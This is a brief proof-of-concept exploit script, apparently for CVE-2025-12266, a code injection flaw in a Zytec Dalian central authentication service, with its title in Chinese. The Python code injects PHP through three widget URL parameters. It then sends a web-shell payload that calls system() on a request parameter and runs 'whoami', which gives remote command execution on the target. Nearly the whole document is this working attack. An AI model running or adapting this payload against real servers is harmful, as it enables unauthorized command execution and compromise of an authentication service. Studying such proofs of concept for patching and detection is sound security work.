CVE-2025-12266 Zytec Dalian中央认证服务代码注入漏洞

import requests target = "http://target-server.com" payload = "<?php phpinfo(); ?>" # Method 1: Via get.widget parameter url1 = f"{target}/index.php/auth/widget?get.widget={payload}" response1 = requests.get(url1) # Method 2: Via get.layer parameter url2 = f"{target}/index.php/auth/widget?get.layer={payload}" response2 = requests.get(url2) # Method 3: Via get.action parameter url3 = f"{target}/index.php/auth/widget?get.action={payload}" response3 = requests.get(url3) # RCE Payload Example rce_payload = "<?php system($_GET['cmd']); ?>" rce_url = f"{target}/index.php/auth/widget?get.widget={rce_payload}&cmd=whoami" rce_response = requests.get(rce_url) print("Vulnerability Test POC for CVE-2025-12266") print(f"Target: {target}") print(f"Response Status: {rce_response.status_code}")